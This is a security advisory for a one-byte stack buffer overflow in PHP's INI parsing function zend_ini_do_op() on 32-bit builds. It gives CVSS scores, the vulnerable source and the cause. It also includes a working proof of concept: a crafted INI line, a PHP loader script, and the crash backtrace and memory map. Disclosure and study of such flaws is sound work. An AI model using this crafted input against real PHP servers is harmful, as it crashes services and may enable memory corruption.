7.8 High
CVSS3
Attack Vector
LOCAL
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
6.8 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:P/I:P/A:P
0.003 Low
EPSS
Percentile
62.7%
A stack buffer overflow exists in the latest stable release of PHP-7.1.5 and PHP-5.6.30 in PHP INI parsing API, which may accept network / local filesystem input. On malformed inputs, a stack buffer overflow in zend_ini_do_op() could write 1-byte off a fixed size stack buffer. On installations with the stack smashing mitigation, this would cause an immediate DoS; upto optimization levels, build options and stack buffer overflow mitigations, this vulnerability may allow corrupting other local variables or the frame pointer, potentially allows remotely executing code.
Affects 32-bit builds of PHP 5 before 5.6.31 (ChangeLog) and PHP 7 before 7.1.7 (ChangeLog).
Resolved PHP bug report, will update the pending CVE.
If the specific build affected has built-in stack smashing mitigation, an immediate DoS can be expected. If no such mitigation in place, it is possible to overwrite one byte of the adjacent variable on stack, or the stack frame pointer, depending on compiler optimizations. The issue can be triggered via a crafted .ini file (not limited to php.ini - which is usually protected), an INI string that gets passed into parse_ini_string(), or the command-line option for INI string (not really a valid attack vector except for demonstration).
In php-7.1.5/Zend/zend_long.h:
110 #if SIZEOF_ZEND_LONG == 4
111 # define MAX_LENGTH_OF_LONG 11
112 # define LONG_MIN_DIGITS "2147483648"
113 #elif SIZEOF_ZEND_LONG == 8
114 # define MAX_LENGTH_OF_LONG 20
115 # define LONG_MIN_DIGITS "9223372036854775808"
116 #else
117 # error "Unknown SIZEOF_ZEND_LONG"
118 #endif
In php-7.1.5/Zend/zend_ini_parser.c:
123 /* {{{ zend_ini_do_op()
124 */
125 static void zend_ini_do_op(char type, zval *result, zval *op1, zval *op2)
126 {
127 int i_result;
128 int i_op1, i_op2;
129 int str_len;
130 char str_result[MAX_LENGTH_OF_LONG];
131
132 i_op1 = atoi(Z_STRVAL_P(op1));
133 zend_string_free(Z_STR_P(op1));
134 if (op2) {
135 i_op2 = atoi(Z_STRVAL_P(op2));
136 zend_string_free(Z_STR_P(op2));
137 } else {
138 i_op2 = 0;
139 }
140
141 switch (type) {
142 case '|':
143 i_result = i_op1 | i_op2;
144 break;
145 case '&':
146 i_result = i_op1 & i_op2;
147 break;
148 case '^':
149 i_result = i_op1 ^ i_op2;
150 break;
151 case '~':
152 i_result = ~i_op1;
153 break;
154 case '!':
155 i_result = !i_op1;
156 break;
157 default:
158 i_result = 0;
159 break;
160 }
161
162 str_len = zend_sprintf(str_result, "%d", i_result);
163 ZVAL_NEW_STR(result, zend_string_init(str_result, str_len, ZEND_SYSTEM_INI));
164 }
165 /* }}} */
The minimums, “-2147483648” and “-9223372036854775808” are of length 11 and 20 respectively,
the proper definition of str_result[] array would be: str_result[MAX_LENGTH_OF_LONG + 1]. A
crafted ini entry would cause an overflow.
Test script:
$ cat input.ini
0=0&~2000000000
$ cat input.php
<?php
$argc = $_SERVER['argc'];
$argv = $_SERVER['argv'];
$file_loc = dirname(__FILE__)."/".$argv[1];
var_dump(parse_ini_file($file_loc, true, INI_SCANNER_NORMAL));
?>
To reproduce:
$ bin/php input.php input.ini
*** buffer overflow detected***: bin/php terminated
======= Backtrace: =========
/lib/i386-linux-gnu/libc.so.6(+0x68e4e)[0xb7527e4e]
/lib/i386-linux-gnu/libc.so.6(__fortify_fail+0x6b)[0xb75ba85b]
/lib/i386-linux-gnu/libc.so.6(+0xfa6ea)[0xb75b96ea]
/lib/i386-linux-gnu/libc.so.6(+0xf9e48)[0xb75b8e48]
/lib/i386-linux-gnu/libc.so.6(_IO_default_xsputn+0x8e)[0xb752fc0e]
/lib/i386-linux-gnu/libc.so.6(_IO_vfprintf+0x89b)[0xb7502f3b]
/lib/i386-linux-gnu/libc.so.6(__vsprintf_chk+0xb1)[0xb75b8f01]
/lib/i386-linux-gnu/libc.so.6(__sprintf_chk+0x2f)[0xb75b8e2f]
bin/php[0x82e7aa0]
bin/php[0x82e87d3]
bin/php(zend_parse_ini_file+0x47)[0x82e8b07]
bin/php[0x8255788]
bin/php[0x83631f6]
bin/php(execute_ex+0x22)[0x8353c52]
bin/php(zend_execute+0x13b)[0x83a341b]
bin/php(zend_execute_scripts+0x30)[0x8313010]
bin/php(php_execute_script+0x286)[0x82b3f26]
bin/php[0x83a57de]
bin/php[0x80683b9]
/lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf3)[0xb74d8a83]
bin/php[0x8068444]
======= Memory map: ========
08048000-0888d000 r-xp 00000000 08:01 704181 /home/weilei/php7_gdb/bin/php
0888d000-0888e000 r--p 00844000 08:01 704181 /home/weilei/php7_gdb/bin/php
0888e000-08899000 rw-p 00845000 08:01 704181 /home/weilei/php7_gdb/bin/php
08899000-088b2000 rw-p 00000000 00:00 0
09ae7000-09b9a000 rw-p 00000000 00:00 0 [heap]
b7000000-b7200000 r--p 00000000 08:01 271314 /usr/lib/locale/locale-archive
b7200000-b7400000 rw-p 00000000 00:00 0
b7464000-b7480000 r-xp 00000000 08:01 787579 /lib/i386-linux-gnu/libgcc_s.so.1
b7480000-b7481000 rw-p 0001b000 08:01 787579 /lib/i386-linux-gnu/libgcc_s.so.1
b7496000-b74bf000 rw-p 00000000 00:00 0
b74bf000-b7667000 r-xp 00000000 08:01 787552 /lib/i386-linux-gnu/libc-2.19.so
b7667000-b7669000 r--p 001a8000 08:01 787552 /lib/i386-linux-gnu/libc-2.19.so
b7669000-b766a000 rw-p 001aa000 08:01 787552 /lib/i386-linux-gnu/libc-2.19.so
b766a000-b766d000 rw-p 00000000 00:00 0
b766d000-b7670000 r-xp 00000000 08:01 787569 /lib/i386-linux-gnu/libdl-2.19.so
b7670000-b7671000 r--p 00002000 08:01 787569 /lib/i386-linux-gnu/libdl-2.19.so
b7671000-b7672000 rw-p 00003000 08:01 787569 /lib/i386-linux-gnu/libdl-2.19.so
b7672000-b7673000 rw-p 00000000 00:00 0
b7673000-b76b7000 r-xp 00000000 08:01 787602 /lib/i386-linux-gnu/libm-2.19.so
b76b7000-b76b8000 r--p 00043000 08:01 787602 /lib/i386-linux-gnu/libm-2.19.so
b76b8000-b76b9000 rw-p 00044000 08:01 787602 /lib/i386-linux-gnu/libm-2.19.so
b76b9000-b76cc000 r-xp 00000000 08:01 787678 /lib/i386-linux-gnu/libresolv-2.19.so
b76cc000-b76cd000 ---p 00013000 08:01 787678 /lib/i386-linux-gnu/libresolv-2.19.so
b76cd000-b76ce000 r--p 00013000 08:01 787678 /lib/i386-linux-gnu/libresolv-2.19.so
b76ce000-b76cf000 rw-p 00014000 08:01 787678 /lib/i386-linux-gnu/libresolv-2.19.so
b76cf000-b76e4000 rw-p 00000000 00:00 0
b76e4000-b76e5000 r--s 00000000 08:01 554280 /home/weilei/php7_gdb/input.ini
b76e5000-b76e6000 r--p 00855000 08:01 271314 /usr/lib/locale/locale-archive
b76e6000-b76e8000 rw-p 00000000 00:00 0
b76e8000-b76ea000 r--p 00000000 00:00 0 [vvar]
b76ea000-b76ec000 r-xp 00000000 00:00 0 [vdso]
b76ec000-b770c000 r-xp 00000000 08:01 787528 /lib/i386-linux-gnu/ld-2.19.so
b770c000-b770d000 r--p 0001f000 08:01 787528 /lib/i386-linux-gnu/ld-2.19.so
b770d000-b770e000 rw-p 00020000 08:01 787528 /lib/i386-linux-gnu/ld-2.19.so
bff25000-bff47000 rw-p 00000000 00:00 0 [stack]
Aborted
7.8 High
CVSS3
Attack Vector
LOCAL
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
6.8 Medium
CVSS2
Access Vector
NETWORK
Access Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:M/Au:N/C:P/I:P/A:P
0.003 Low
EPSS
Percentile
62.7%